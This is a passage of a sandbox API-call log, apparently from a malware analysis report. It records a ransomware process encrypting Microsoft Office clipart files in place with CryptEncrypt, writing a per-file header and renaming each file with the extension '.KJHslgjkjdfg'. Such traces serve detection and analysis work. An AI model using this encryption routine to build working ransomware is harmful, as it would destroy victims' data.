lpNewFilePointer=0x0) returned 1 [0154.222] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0154.223] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.223] SetEndOfFile (hFile=0x114) returned 1 [0154.226] GetProcessHeap () returned 0x2a0000 [0154.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.226] GetProcessHeap () returned 0x2a0000 [0154.226] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.kjhslgjkjdfg")) returned 1 [0154.227] CloseHandle (hObject=0x114) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0154.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.228] GetProcessHeap () returned 0x2a0000 [0154.228] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.228] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.231] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.231] GetProcessHeap () returned 0x2a0000 [0154.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.231] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.231] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.232] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.232] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x138c, lpOverlapped=0x0) returned 1 [0154.303] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0154.303] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.303] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0154.303] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.303] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.303] SetEndOfFile (hFile=0x114) returned 1 [0154.306] GetProcessHeap () returned 0x2a0000 [0154.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.306] GetProcessHeap () returned 0x2a0000 [0154.306] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.kjhslgjkjdfg")) returned 1 [0154.307] CloseHandle (hObject=0x114) returned 1 [0154.307] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0154.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.308] GetProcessHeap () returned 0x2a0000 [0154.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.308] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.308] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.308] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.310] GetProcessHeap () returned 0x2a0000 [0154.310] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.310] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.310] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.310] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.310] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.311] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0154.312] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce0) returned 1 [0154.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.312] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ce0, lpOverlapped=0x0) returned 1 [0154.312] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.312] SetEndOfFile (hFile=0x114) returned 1 [0154.314] GetProcessHeap () returned 0x2a0000 [0154.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.315] GetProcessHeap () returned 0x2a0000 [0154.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.kjhslgjkjdfg")) returned 1 [0154.316] CloseHandle (hObject=0x114) returned 1 [0154.316] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0154.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.318] GetProcessHeap () returned 0x2a0000 [0154.318] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.318] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.319] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.321] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.321] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.321] GetProcessHeap () returned 0x2a0000 [0154.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.321] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.321] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.321] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.321] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.321] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.322] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.322] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.322] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.322] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.322] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.322] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.322] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1306, lpOverlapped=0x0) returned 1 [0154.323] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1310, dwBufLen=0x1310 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1310) returned 1 [0154.323] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.323] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1310, lpOverlapped=0x0) returned 1 [0154.323] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.323] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.324] SetEndOfFile (hFile=0x114) returned 1 [0154.326] GetProcessHeap () returned 0x2a0000 [0154.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.326] GetProcessHeap () returned 0x2a0000 [0154.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.kjhslgjkjdfg")) returned 1 [0154.327] CloseHandle (hObject=0x114) returned 1 [0154.327] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0154.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.328] GetProcessHeap () returned 0x2a0000 [0154.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.328] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.328] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.330] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.330] GetProcessHeap () returned 0x2a0000 [0154.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.330] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.330] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.330] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.331] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.331] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.331] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.331] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.331] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.331] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.331] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.331] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.331] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6906, lpOverlapped=0x0) returned 1 [0154.332] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6910, dwBufLen=0x6910 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6910) returned 1 [0154.332] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.332] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6910, lpOverlapped=0x0) returned 1 [0154.333] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.333] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x69e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.333] SetEndOfFile (hFile=0x114) returned 1 [0154.335] GetProcessHeap () returned 0x2a0000 [0154.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.335] GetProcessHeap () returned 0x2a0000 [0154.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.kjhslgjkjdfg")) returned 1 [0154.336] CloseHandle (hObject=0x114) returned 1 [0154.336] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, 